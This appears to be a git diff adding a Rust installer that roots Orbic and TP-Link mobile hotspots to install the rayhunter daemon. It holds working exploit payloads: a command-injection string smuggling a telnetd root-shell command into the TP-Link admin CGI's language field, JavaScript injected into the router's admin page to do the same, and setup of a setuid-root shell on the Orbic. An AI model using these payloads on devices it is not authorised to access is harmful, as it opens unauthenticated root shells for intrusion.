a/installer/build.rs b/installer/build.rs new file mode 100644 index 00000000..b6682b6d --- /dev/null +++ b/installer/build.rs @@ -0,0 +1,45 @@ +use core::str; +use std::path::Path; +use std::process::exit; + +fn main() { + println!("cargo::rerun-if-env-changed=NO_FIRMWARE_BIN"); + let include_dir = Path::new(concat!( + env!("CARGO_MANIFEST_DIR"), + "/../target/armv7-unknown-linux-musleabihf/release/" + )); + set_binary_var(&include_dir, "FILE_ROOTSHELL", "rootshell"); + set_binary_var( + &include_dir, + "FILE_RAYHUNTER_DAEMON_ORBIC", + "rayhunter-daemon", + ); + set_binary_var( + &include_dir, + "FILE_RAYHUNTER_DAEMON_TPLINK", + "rayhunter-daemon", + ); +} + +fn set_binary_var(include_dir: &Path, var: &str, file: &str) { + if std::env::var_os("NO_FIRMWARE_BIN").is_some() { + let out_dir = std::env::var("OUT_DIR").unwrap(); + std::fs::create_dir_all(&out_dir).unwrap(); + let blank = Path::new(&out_dir).join("blank"); + std::fs::write(&blank, &[]).unwrap(); + println!("cargo::rustc-env={var}={}", blank.display()); + return; + } + if std::env::var_os(var).is_none() { + let binary = include_dir.join(file); + if !binary.exists() { + println!( + "cargo::error=Firmware binary {file} not present at {}", + binary.display() + ); + exit(0); + } + println!("cargo::rustc-env={var}={}", binary.display()); + println!("cargo::rerun-if-changed={}", binary.display()); + } +} diff --git a/installer/src/main.rs b/installer/src/main.rs new file mode 100644 index 00000000..49aad5c5 --- /dev/null +++ b/installer/src/main.rs @@ -0,0 +1,110 @@ +use anyhow::{Context, Error, bail}; +use clap::{Parser, Subcommand}; + +mod orbic; +mod tplink; + +pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.example"); +pub static RAYHUNTER_DAEMON_INIT: &str = include_str!("../../dist/scripts/rayhunter_daemon"); + +#[derive(Parser, Debug)] +#[command(version, about)] +struct Args { + #[command(subcommand)] + command: Command, +} + +#[derive(Subcommand, Debug)] +enum Command { + /// Install rayhunter on the Orbic Orbic RC400L. + Orbic(InstallOrbic), + /// Install rayhunter on the TP-Link M7350. + Tplink(InstallTpLink), + /// Developer utilities. + Util(Util), +} + +#[derive(Parser, Debug)] +struct InstallTpLink { + /// Do not enforce use of SD card. All data will be stored in /mnt/card regardless, which means + /// that if an SD card is later added, your existing installation is shadowed! + #[arg(long)] + skip_sdcard: bool, + + /// IP address for TP-Link admin interface, if custom. + #[arg(long, default_value = "192.168.0.1")] + admin_ip: String, +} + +#[derive(Parser, Debug)] +struct InstallOrbic {} + +#[derive(Parser, Debug)] +struct Util { + #[command(subcommand)] + command: UtilSubCommand, +} + +#[derive(Subcommand, Debug)] +enum UtilSubCommand { + /// Send a serial command to the Orbic. + Serial(Serial), + /// Root the tplink and launch telnetd. + TplinkStartTelnet(TplinkStartTelnet), +} + +#[derive(Parser, Debug)] +struct TplinkStartTelnet { + /// IP address for TP-Link admin interface, if custom. + #[arg(long, default_value = "192.168.0.1")] + admin_ip: String, +} + +#[derive(Parser, Debug)] +struct Serial { + #[arg(long)] + root: bool, + command: Vec, +} + +async fn run() -> Result<(), Error> { + let Args { command } = Args::parse(); + + match command { + Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?, + Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?, + Command::Util(subcommand) => match subcommand.command { + UtilSubCommand::Serial(serial_cmd) => { + if serial_cmd.root { + if !serial_cmd.command.is_empty() { + eprintln!("You cannot use --root and specify a command at the same time"); + std::process::exit(64); + } + orbic::enable_command_mode()?; + } else if serial_cmd.command.is_empty() { + eprintln!("Command cannot be an empty string"); + std::process::exit(64); + } else { + let cmd = serial_cmd.command.join(" "); + match orbic::open_orbic()? { + Some(interface) => orbic::send_serial_cmd(&interface, &cmd).await?, + None => bail!(orbic::ORBIC_NOT_FOUND), + } + } + } + UtilSubCommand::TplinkStartTelnet(options) => { + tplink::start_telnet(&options.admin_ip).await?; + } + } + } + + Ok(()) +} + +#[tokio::main] +async fn main() { + if let Err(e) = run().await { + eprintln!("{e:?}"); + std::process::exit(1); + } +} diff --git a/installer/src/orbic.rs b/installer/src/orbic.rs new file mode 100644 index 00000000..7f8dff56 --- /dev/null +++ b/installer/src/orbic.rs @@ -0,0 +1,457 @@ +use std::io::{ErrorKind, Write}; +use std::path::Path; +use std::time::Duration; + +use adb_client::{ADBDeviceExt, ADBUSBDevice, RustADBError}; +use anyhow::{Context, Result, anyhow, bail}; +use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer}; +use nusb::{Device, Interface}; +use sha2::{Digest, Sha256}; +use tokio::time::sleep; + +use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT}; + +pub const ORBIC_NOT_FOUND: &str = r#"No Orbic device found. +Make sure your device is plugged in and turned on. + +If you're sure you've plugged in an Orbic device via USB, there may be a bug in +our installer. Please file a bug with the output of `lsusb` attached."#; + +const ORBIC_BUSY: &str = r#"The Orbic is plugged in but is being used by another program. + +Please close any program that might be using your USB devices. +If you have adb installed you may need to kill the adb daemon"#; + +#[cfg(target_os = "macos")] +const ORBIC_BUSY_MAC: &str = r#"Permission denied. + +On macOS this might be caused by another program using the Orbic. +Please close any program that might be using your Orbic. +If you have adb installed you may need to kill the adb daemon"#; + +const VENDOR_ID: u16 = 0x05c6; +const PRODUCT_ID: u16 = 0xf601; + +macro_rules! echo { + ($($arg:tt)*) => { + print!($($arg)*); + let _ = std::io::stdout().flush(); + }; +} + +pub async fn install() -> Result<()> { + let mut adb_device = force_debug_mode().await?; + let serial_interface = open_orbic()?.ok_or_else(|| anyhow!(ORBIC_NOT_FOUND))?; + echo!("Installing rootshell... "); + setup_rootshell(&serial_interface, &mut adb_device).await?; + println!("done"); + echo!("Installing rayhunter... "); + let mut adb_device = setup_rayhunter(&serial_interface, adb_device).await?; + println!("done"); + echo!("Testing rayhunter... "); + test_rayhunter(&mut adb_device).await?; + println!("done"); + Ok(()) +} + +async fn force_debug_mode() -> Result { + println!("Forcing a switch into the debug mode to enable ADB"); + enable_command_mode()?; + echo!("ADB enabled, waiting for reboot... "); + let mut adb_device = get_adb().await?; + println!("it's alive!"); + echo!("Waiting for atfwd_daemon to startup... "); + adb_command(&mut adb_device, &["pgrep", "atfwd_daemon"])?; + println!("done"); + Ok(adb_device) +} + +async fn setup_rootshell( + serial_interface: &Interface, + adb_device: &mut ADBUSBDevice, +) -> Result<()> { + let rootshell_bin = include_bytes!(env!("FILE_ROOTSHELL")); + + install_file( + serial_interface, + adb_device, + "/bin/rootshell", + rootshell_bin, + ) + .await?; + tokio::time::sleep(Duration::from_secs(1)).await; + at_syscmd(serial_interface, "chown root /bin/rootshell").await?; + tokio::time::sleep(Duration::from_secs(1)).await; + at_syscmd(serial_interface, "chmod 4755 /bin/rootshell").await?; + let output = adb_command(adb_device, &["/bin/rootshell", "-c", "id"])?; + if !output.contains("uid=0") { + bail!("rootshell is not giving us root."); + } + Ok(()) +} + +async fn setup_rayhunter( + serial_interface: &Interface, + mut adb_device: ADBUSBDevice, +) -> Result { + let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_ORBIC")); + + at_syscmd(serial_interface, "mkdir -p /data/rayhunter").await?; + install_file( + serial_interface, + &mut adb_device, + "/data/rayhunter/rayhunter-daemon", + rayhunter_daemon_bin, + ) + .await?; + install_file( + serial_interface, + &mut adb_device, + "/data/rayhunter/config.toml", + CONFIG_TOML.as_bytes(), + ) + .await?; + install_file( + serial_interface, + &mut adb_device, + "/etc/init.d/rayhunter_daemon", + RAYHUNTER_DAEMON_INIT.as_bytes(), + ) + .await?; + install_file( + serial_interface, + &mut adb_device, + "/etc/init.d/misc-daemon", + include_bytes!("../../dist/scripts/misc-daemon"), + ) + .await?; + at_syscmd(serial_interface, "chmod 755 /etc/init.d/rayhunter_daemon").await?; + at_syscmd(serial_interface, "chmod 755 /etc/init.d/misc-daemon").await?; + println!("done"); + echo!("Waiting for reboot... "); + at_syscmd(serial_interface, "shutdown -r -t 1 now").await?; + // first wait for shutdown (it can take ~10s) + tokio::time::timeout(Duration::from_secs(30), async { + while let Ok(dev) = adb_echo_test(adb_device).await { + adb_device = dev; + sleep(Duration::from_secs(1)).await; + } + }) + .await + .context("Orbic took too long to shutdown")?; + // now wait for boot to finish + get_adb().await +} + +async fn test_rayhunter(adb_device: &mut ADBUSBDevice) -> Result<()> { + const MAX_FAILURES: u32 = 10; + let mut failures = 0; + while failures < MAX_FAILURES { + if let Ok(output) = adb_command( + adb_device, + &["wget", "-O", "-", "http://localhost:8080/index.html"], + ) { + if output.contains("html") { + return Ok(()); + } + } + failures += 1; + sleep(Duration::from_secs(3)).await; + } + bail!("timeout reached! failed to reach rayhunter, something went wrong :(") +} + +async fn install_file( + serial_interface: &Interface, + adb_device: &mut ADBUSBDevice, + dest: &str, + payload: &[u8], +) -> Result<()> { + const MAX_FAILURES: u32 = 5; + let mut failures = 0; + loop { + match install_file_impl(serial_interface, adb_device, dest, payload).await { + Ok(()) => return Ok(()), + Err(e) => { + if failures > MAX_FAILURES { + return Err(e); + } else { + sleep(Duration::from_secs(1)).await; + failures += 1; + } + } + } + } +} + +async fn install_file_impl( + serial_interface: &Interface, + adb_device: &mut ADBUSBDevice, + dest: &str, + mut payload: &[u8], +) -> Result<()> { + let file_name = Path::new(dest) + .file_name() + .ok_or_else(|| anyhow!("{dest} does not have a file name"))? + .to_str() + .ok_or_else(|| anyhow!("{dest}'s file name is not UTF8"))? + .to_owned(); + let push_tmp_path = format!("/tmp/{file_name}"); + let mut hasher = Sha256::new(); + hasher.update(payload); + let file_hash_bytes = hasher.finalize(); + let file_hash = format!("{file_hash_bytes:x}"); + adb_device.push(&mut payload, &push_tmp_path)?; + at_syscmd(serial_interface, &format!("mv {push_tmp_path} {dest}")).await?; + let file_info = adb_device + .stat(dest) + .context("Failed to stat transfered file")?; + if file_info.file_size == 0 { + bail!("File transfer unseccessful\nFile is empty"); + } + let ouput = adb_command(adb_device, &["sha256sum", dest])?; + if !ouput.contains(&file_hash) { + bail!("File transfer unseccessful\nBad hash expected {file_hash} got {ouput}"); + } + Ok(()) +} + +fn adb_command(adb_device: &mut ADBUSBDevice, command: &[&str]) -> Result { + let mut buf = Vec::::new(); + adb_device.shell_command(command, &mut buf)?; + Ok(String::from_utf8_lossy(&buf).into_owned()) +} + +/// Creates an ADB interface instance. +/// +/// This function waits for the ADB device then checks that an ADB shell command runs. +async fn get_adb() -> Result { + const MAX_FAILURES: u32 = 10; + let mut failures = 0; + loop { + match ADBUSBDevice::new(VENDOR_ID, PRODUCT_ID) { + Ok(dev) => match adb_echo_test(dev).await { + Ok(dev) => return Ok(dev), + Err(e) => { + if failures > MAX_FAILURES { + return Err(e); + } else { + sleep(Duration::from_secs(1)).await; + failures += 1; + } + } + }, + Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::ResourceBusy => { + bail!(ORBIC_BUSY); + } + #[cfg(target_os = "macos")] + Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::PermissionDenied => { + bail!(ORBIC_BUSY_MAC); + } + Err(RustADBError::DeviceNotFound(_)) => { + tokio::time::timeout( + Duration::from_secs(30), + wait_for_usb_device(VENDOR_ID, PRODUCT_ID), + ) + .await + .context("Timeout waiting for Orbic to reconnect")??; + } + Err(e) => { + if failures > MAX_FAILURES { + return Err(e.into()); + } else { + sleep(Duration::from_secs(1)).await; + failures += 1; + } + } + } + } +} + +async fn adb_echo_test(mut adb_device: ADBUSBDevice) -> Result { + let mut buf = Vec::::new(); + // Random string to echo + let test_echo = "qwertyzxcvbnm"; + let thread = std::thread::spawn(move || { + // This call to run a shell command is run on a separate thread because it can block + // indefinitely until the command runs, which is undesirable. + adb_device.shell_command(&["echo", test_echo], &mut buf)?; + Ok::<(ADBUSBDevice, Vec), RustADBError>((adb_device, buf)) + }); + sleep(Duration::from_secs(1)).await; + if thread.is_finished() { + if let Ok(Ok((dev, buf))) = thread.join() { + if let Ok(s) = std::str::from_utf8(&buf) { + if s.contains(test_echo) { + return Ok(dev); + } + } + } + } + // I'd like to kill the background thread here if that was possible. + bail!("Could not communicate with the Orbic. Try disconnecting and reconnecting."); +} + +#[cfg(not(target_os = "macos"))] +async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> { + use nusb::hotplug::HotplugEvent; + use tokio_stream::StreamExt; + loop { + let mut watcher = nusb::watch_devices()?; + while let Some(event) = watcher.next().await { + if let HotplugEvent::Connected(dev) = event { + if dev.vendor_id() == vendor_id && dev.product_id() == product_id { + return Ok(()); + } + } + } + } +} + +#[cfg(target_os = "macos")] +/// `nusb::watch_devices` doesn't appear to work on macOS to poll instead. +async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> { + loop { + for device_info in nusb::list_devices()? { + if device_info.vendor_id() == vendor_id && device_info.product_id() == product_id { + return Ok(()); + } + } + tokio::time::sleep(Duration::from_secs(1)).await; + } +} + +async fn at_syscmd(interface: &Interface, command: &str) -> Result<()> { + send_serial_cmd(interface, &format!("AT+SYSCMD={command}")).await +} +/// Sends an AT command to the usb device over the serial port +/// +/// First establish a USB handle and context by calling `open_orbic() +pub async fn send_serial_cmd(interface: &Interface, command: &str) -> Result<()> { + let mut data = String::new(); + data.push_str("\r\n"); + data.push_str(command); + data.push_str("\r\n"); + + let timeout = Duration::from_secs(2); + + let enable_serial_port = Control { + control_type: ControlType::Class, + recipient: Recipient::Interface, + request: 0x22, + value: 3, + index: 1, + }; + + // Set up the serial port appropriately + interface + .control_out_blocking(enable_serial_port, &[], timeout) + .context("Failed to send control request")?; + + // Send the command + tokio::time::timeout(timeout, interface.bulk_out(0x2, data.as_bytes().to_vec())) + .await + .context("Timed out writing command")? + .into_result() + .context("Failed to write command")?; + + // Consume the echoed command + tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256))) + .await + .context("Timed out reading submitted command")? + .into_result() + .context("Failed to read submitted command")?; + + // Read the actual response + let response = tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256))) + .await + .context("Timed out reading response")? + .into_result() + .context("Failed to read response")?; + + // For some reason, on macOS the response buffer gets filled with garbage data that's + // rarely valid UTF-8. Luckily we only care about the first couple bytes, so just drop + // the garbage with `from_utf8_lossy` and look for our expected success string. + let responsestr = String::from_utf8_lossy(&response); + if !responsestr.contains("\r\nOK\r\n") { + bail!("Received unexpected response: {0}", responsestr); + } + + Ok(()) +} + +/// Send a command to switch the device into generic mode, exposing serial +/// +/// If the device reboots while the command is still executing you may get a pipe error here, not sure what to do about this race condition. +pub fn enable_command_mode() -> Result<()> { + if open_orbic()?.is_some() { + println!("Device already in command mode. Doing nothing..."); + return Ok(()); + } + + let timeout = Duration::from_secs(1); + + if let Some(device) = open_usb_device(VENDOR_ID, 0xf626)? { + let enable_command_mode = Control { + control_type: ControlType::Vendor, + recipient: Recipient::Device, + request: 0xa0, + value: 0, + index: 0, + }; + let interface = device + .detach_and_claim_interface(1) + .context("detach_and_claim_interface(1) failed")?; + if let Err(e) = interface.control_out_blocking(enable_command_mode, &[], timeout) { + // If the device reboots while the command is still executing we + // may get a pipe error here + if e == nusb::transfer::TransferError::Stall { + return Ok(()); + } + bail!("Failed to send device switch control request: {0}", e) + } + return Ok(()); + } + + bail!(ORBIC_NOT_FOUND); +} + +/// Get an Interface for the orbic device +pub fn open_orbic() -> Result> { + // Device after initial mode switch + if let Some(device) = open_usb_device(VENDOR_ID, PRODUCT_ID)? { + let interface = device + .detach_and_claim_interface(1) // will reattach drivers on release + .context("detach_and_claim_interface(1) failed")?; + return Ok(Some(interface)); + } + + // Device with rndis enabled as well + if let Some(device) = open_usb_device(VENDOR_ID, 0xf622)? { + let interface = device + .detach_and_claim_interface(1) // will reattach drivers on release + .context("detach_and_claim_interface(1) failed")?; + return Ok(Some(interface)); + } + + Ok(None) +} + +/// General function to open a USB device +fn open_usb_device(vid: u16, pid: u16) -> Result> { + let devices = match nusb::list_devices() { + Ok(d) => d, + Err(_) => return Ok(None), + }; + + for device in devices { + if device.vendor_id() == vid && device.product_id() == pid { + match device.open() { + Ok(d) => return Ok(Some(d)), + Err(e) => bail!("device found but failed to open: {}", e), + } + } + } + + Ok(None) +} diff --git a/installer/src/tplink.rs b/installer/src/tplink.rs new file mode 100644 index 00000000..6ec2e877 --- /dev/null +++ b/installer/src/tplink.rs @@ -0,0 +1,343 @@ +use std::net::SocketAddr; +use std::str::FromStr; +use std::time::Duration; + +use anyhow::{Context, Error}; +use axum::{ + Router, + body::{Body, to_bytes}, + extract::{Request, State}, + http::uri::Uri, + response::{IntoResponse, Response}, + routing::any, +}; +use bytes::{Bytes, BytesMut}; +use hyper::StatusCode; +use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor}; +use serde::Deserialize; +use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio::net::TcpStream; +use tokio::time::{sleep, timeout}; + +use crate::InstallTpLink; + +type HttpProxyClient = hyper_util::client::legacy::Client; + +pub async fn main_tplink( + InstallTpLink { + skip_sdcard, + admin_ip, + }: InstallTpLink, +) -> Result<(), Error> { + start_telnet(&admin_ip).await?; + tplink_run_install(skip_sdcard, admin_ip).await +} + +#[derive(Deserialize)] +struct V3RootResponse { + result: u64, +} + +pub async fn start_telnet(admin_ip: &str) -> Result<(), Error> { + let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi"); + let client = reqwest::Client::new(); + + println!("Launching telnet on the device"); + + // https://github.com/advisories/GHSA-ffwq-9r7p-3j6r + // in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132 + let response = client.post(&qcmap_web_cgi_endpoint) + .body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#) + .send() + .await?; + + if response.status() == 404 { + println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit"); + tplink_launch_telnet_v5(admin_ip).await?; + } else { + let V3RootResponse { result } = response.error_for_status()?.json().await?; + + if result != 0 { + anyhow::bail!("Bad result code when trying to root device: {result}"); + } + + // resetting the language is important because otherwise the tplink's admin interface is + // unusuable. + let V3RootResponse { result } = client + .post(&qcmap_web_cgi_endpoint) + .body(r#"{"module": "webServer", "action": 1, "language": "en"}"#) + .send() + .await? + .error_for_status()? + .json() + .await?; + + if result != 0 { + anyhow::bail!("Bad result code when trying to reset the language: {result}"); + } + + println!("Detected hardware revision v3"); + } + + println!( + "Succeeded in rooting the device! Now you can use 'telnet {admin_ip}' to get a root shell. Use './installer util tplink-start-telnet' to root again without installing rayhunter." + ); + Ok(()) +} + +async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), Error> { + println!("Connecting via telnet to {admin_ip}"); + let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); + + if !skip_sdcard { + println!("Mounting sdcard"); + if telnet_send_command(addr, "mount | grep -q /media/card", "exit code 0") + .await + .is_err() + { + telnet_send_command(addr, "mount /dev/mmcblk0p1 /media/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?; + } else { + println!("sdcard already mounted"); + } + } + + // there is too little space on the internal flash to store anything, but the initrd script + // expects things to be at this location + telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?; + telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?; + telnet_send_command(addr, "ln -sf /media/card /data/rayhunter", "exit code 0").await?; + + telnet_send_file( + addr, + "/media/card/config.toml", + crate::CONFIG_TOML.as_bytes(), + ) + .await?; + + let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_TPLINK")); + + telnet_send_file(addr, "/media/card/rayhunter-daemon", rayhunter_daemon_bin).await?; + telnet_send_file( + addr, + "/etc/init.d/rayhunter_daemon", + get_rayhunter_daemon().as_bytes(), + ) + .await?; + + telnet_send_command( + addr, + "chmod ugo+x /media/card/rayhunter-daemon", + "exit code 0", + ) + .await?; + telnet_send_command( + addr, + "chmod 755 /etc/init.d/rayhunter_daemon", + "exit code 0", + ) + .await?; + telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?; + + println!( + "Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080" + ); + + telnet_send_command(addr, "reboot", "exit code 0").await?; + + Ok(()) +} + +async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<(), Error> { + println!("Sending file {filename}"); + + // remove the old file just in case we are close to disk capacity. + telnet_send_command(addr, &format!("rm {filename}"), "").await?; + + { + let filename = filename.to_owned(); + let handle = tokio::spawn(async move { + telnet_send_command(addr, &format!("nc -l 0.0.0.0:8081 > {filename}.tmp"), "").await + }); + + sleep(Duration::from_millis(100)).await; + + let mut addr = addr; + addr.set_port(8081); + let mut stream = TcpStream::connect(addr).await?; + stream.write_all(payload).await?; + + handle.await??; + } + + let checksum = md5::compute(payload); + + telnet_send_command( + addr, + &format!("md5sum {filename}.tmp"), + &format!("{checksum:x} {filename}.tmp"), + ) + .await?; + + telnet_send_command( + addr, + &format!("mv {filename}.tmp {filename}"), + "exit code 0", + ) + .await?; + + Ok(()) +} + +async fn telnet_send_command( + addr: SocketAddr, + command: &str, + expected_output: &str, +) -> Result<(), Error> { + let stream = TcpStream::connect(addr).await?; + let (mut reader, mut writer) = stream.into_split(); + + loop { + let mut next_byte = 0; + reader + .read_exact(std::slice::from_mut(&mut next_byte)) + .await?; + if next_byte == b'#' { + break; + } + } + + writer.write_all(command.as_bytes()).await?; + writer.write_all(b"; echo exit code $?\r\n").await?; + + let mut read_buf = Vec::new(); + + let _ = timeout(Duration::from_secs(5), async { + let mut buf = [0; 4096]; + loop { + let Ok(bytes_read) = reader.read(&mut buf).await else { + break; + }; + let bytes = &buf[..bytes_read]; + if bytes.is_empty() { + continue; + } + + read_buf.extend(bytes); + + if read_buf.ends_with(b"/ # ") { + break; + } + } + }) + .await; + + let string = String::from_utf8_lossy(&read_buf); + + if !string.contains(expected_output) { + anyhow::bail!("{expected_output:?} not found in: {string}"); + } + + Ok(()) +} + +#[derive(Clone)] +struct AppState { + client: HttpProxyClient, + admin_ip: String, +} + +async fn handler(state: State, mut req: Request) -> Result { + let path = req.uri().path(); + let path_query = req + .uri() + .path_and_query() + .map(|v| v.as_str()) + .unwrap_or(path); + + let uri = format!("http://{}{}", state.admin_ip, path_query); + + // on version 5.2, this path is /settings.min.js + // on other versions, this path is /js/settings.min.js + let is_settings_js = path.ends_with("/settings.min.js"); + + *req.uri_mut() = Uri::try_from(uri).unwrap(); + + let mut response = state + .client + .request(req) + .await + .map_err(|_| StatusCode::BAD_REQUEST)? + .into_response(); + + if is_settings_js { + let (parts, body) = response.into_parts(); + let data = to_bytes(body, usize::MAX) + .await + .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?; + let mut data = BytesMut::from(data); + // inject some javascript into the admin UI to get us a telnet shell. + data.extend(br#";window.rayhunterPoll = window.setInterval(() => { + Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"}); + alert("Success! You can go back to the rayhunter installer."); + window.clearInterval(window.rayhunterPoll); + }, 1000);"#); + response = Response::from_parts(parts, Body::from(Bytes::from(data))); + response.headers_mut().remove("Content-Length"); + } + + Ok(response) +} + +async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> { + let client: HttpProxyClient = + hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new()) + .build(HttpConnector::new()); + + let app = Router::new() + .route("/", any(handler)) + .route("/{*path}", any(handler)) + .with_state(AppState { + client, + admin_ip: admin_ip.to_owned(), + }); + + let listener = tokio::net::TcpListener::bind("127.0.0.1:4000") + .await + .unwrap(); + + println!("Listening on http://{}", listener.local_addr().unwrap()); + println!("Please open above URL in your browser and log into the router to continue."); + + let handle = tokio::spawn(async move { axum::serve(listener, app).await }); + + let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); + + while telnet_send_command(addr, "true", "exit code 0") + .await + .is_err() + { + sleep(Duration::from_millis(1000)).await; + } + + handle.abort(); + + Ok(()) +} + +fn get_rayhunter_daemon() -> String { + // Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And + // changing the order in which daemons are started up seems to not work reliably. + // + // This part of the daemon dynamically generated because we may have to eventually add logic + // specific to a particular hardware revision here. + crate::RAYHUNTER_DAEMON_INIT.replace( + "#RAYHUNTER-PRESTART", + "mount /dev/mmcblk0p1 /media/card || true", + ) +} + +#[test] +fn test_get_rayhunter_daemon() { + let s = get_rayhunter_daemon(); + assert!(s.contains("mount /dev/mmcblk0p1 /media/card")); +} diff --git a/serial/Cargo.toml b/serial/Cargo.toml deleted file mode 100644 index 127bfeac..00000000 --- a/serial/Cargo.toml +++ /dev/null @@ -1,11 +0,0 @@ -[package] -name = "serial" -version = "0.2.6" -edition = "2021" - -# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html - -[dependencies] -anyhow = "1.0.97" -nusb = "0.1.13" -tokio = { version = "1.44.2", features = ["macros", "rt", "time"] } diff --git a/serial/src/main.rs b/serial/src/main.rs deleted file mode 100644 index 812a4990..00000000 --- a/serial/src/main.rs +++ /dev/null @@ -1,173 +0,0 @@ -//! Serial communication with the orbic device -//! -//! This binary has two main functions, putting the orbic device in update mode which enables ADB -//! and running AT commands on the serial modem interface which can be used to upload a shell and chown it to root -//! -//! # Errors -//! -//! No device found - make sure your device is plugged in and turned on. If it is, it's possible you have a device with a different -//! usb id, file a bug with the output of `lsusb` attached. -use std::str; -use std::time::Duration; - -use anyhow::{bail, Context, Result}; -use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer}; -use nusb::{Device, Interface}; - -const ORBIC_NOT_FOUND: &str = r#"No Orbic device found. -Make sure your device is plugged in and turned on. - -If it's possible you have a device with a different usb id: -please file a bug with the output of `lsusb` attached."#; - -#[tokio::main(flavor = "current_thread")] -async fn main() -> Result<()> { - let args: Vec = std::env::args().collect(); - - if args.len() != 2 || args[1] == "-h" || args[1] == "--help" { - println!("usage: {0} [ | --root]", args[0]); - std::process::exit(1); - } - - if args[1] == "--root" { - enable_command_mode() - } else { - match open_orbic()? { - Some(interface) => send_command(interface, &args[1]).await, - None => bail!(ORBIC_NOT_FOUND), - } - } -} - -/// Sends an AT command to the usb device over the serial port -/// -/// First establish a USB handle and context by calling `open_orbic() -async fn send_command(interface: Interface, command: &str) -> Result<()> { - let mut data = String::new(); - data.push_str("\r\n"); - data.push_str(command); - data.push_str("\r\n"); - - let timeout = Duration::from_secs(1); - - let enable_serial_port = Control { - control_type: ControlType::Class, - recipient: Recipient::Interface, - request: 0x22, - value: 3, - index: 1, - }; - - // Set up the serial port appropriately - interface - .control_out_blocking(enable_serial_port, &[], timeout) - .context("Failed to send control request")?; - - // Send the command - tokio::time::timeout(timeout, interface.bulk_out(0x2, data.as_bytes().to_vec())) - .await - .context("Timed out writing command")? - .into_result() - .context("Failed to write command")?; - - // Consume the echoed command - tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256))) - .await - .context("Timed out reading submitted command")? - .into_result() - .context("Failed to read submitted command")?; - - // Read the actual response - let response = tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256))) - .await - .context("Timed out reading response")? - .into_result() - .context("Failed to read response")?; - - // For some reason, on macOS the response buffer gets filled with garbage data that's - // rarely valid UTF-8. Luckily we only care about the first couple bytes, so just drop - // the garbage with `from_utf8_lossy` and look for our expected success string. - let responsestr = String::from_utf8_lossy(&response); - if !responsestr.contains("\r\nOK\r\n") { - println!("Received unexpected response: {0}", responsestr); - std::process::exit(1); - } - - Ok(()) -} - -/// Send a command to switch the device into generic mode, exposing serial -/// -/// If the device reboots while the command is still executing you may get a pipe error here, not sure what to do about this race condition. -fn enable_command_mode() -> Result<()> { - if open_orbic()?.is_some() { - println!("Device already in command mode. Doing nothing..."); - return Ok(()); - } - - let timeout = Duration::from_secs(1); - - if let Some(device) = open_device(0x05c6, 0xf626)? { - let enable_command_mode = Control { - control_type: ControlType::Vendor, - recipient: Recipient::Device, - request: 0xa0, - value: 0, - index: 0, - }; - let interface = device - .detach_and_claim_interface(1) - .context("detach_and_claim_interface(1) failed")?; - if let Err(e) = interface.control_out_blocking(enable_command_mode, &[], timeout) { - // If the device reboots while the command is still executing we - // may get a pipe error here - if e == nusb::transfer::TransferError::Stall { - return Ok(()); - } - bail!("Failed to send device switch control request: {0}", e) - } - return Ok(()); - } - - bail!(ORBIC_NOT_FOUND); -} - -/// Get an Interface for the orbic device -fn open_orbic() -> Result> { - // Device after initial mode switch - if let Some(device) = open_device(0x05c6, 0xf601)? { - let interface = device - .detach_and_claim_interface(1) // will reattach drivers on release - .context("detach_and_claim_interface(1) failed")?; - return Ok(Some(interface)); - } - - // Device with rndis enabled as well - if let Some(device) = open_device(0x05c6, 0xf622)? { - let interface = device - .detach_and_claim_interface(1) // will reattach drivers on release - .context("detach_and_claim_interface(1) failed")?; - return Ok(Some(interface)); - } - - Ok(None) -} - -/// General function to open a USB device -fn open_device(vid: u16, pid: u16) -> Result> { - let devices = match nusb::list_devices() { - Ok(d) => d, - Err(_) => return Ok(None), - }; - - for device in devices { - if device.vendor_id() == vid && device.product_id() == pid { - match device.open() { - Ok(d) => return Ok(Some(d)), - Err(e) => bail!("device found but failed to open: {}", e), - } - } - } - - Ok(None) -} diff --git 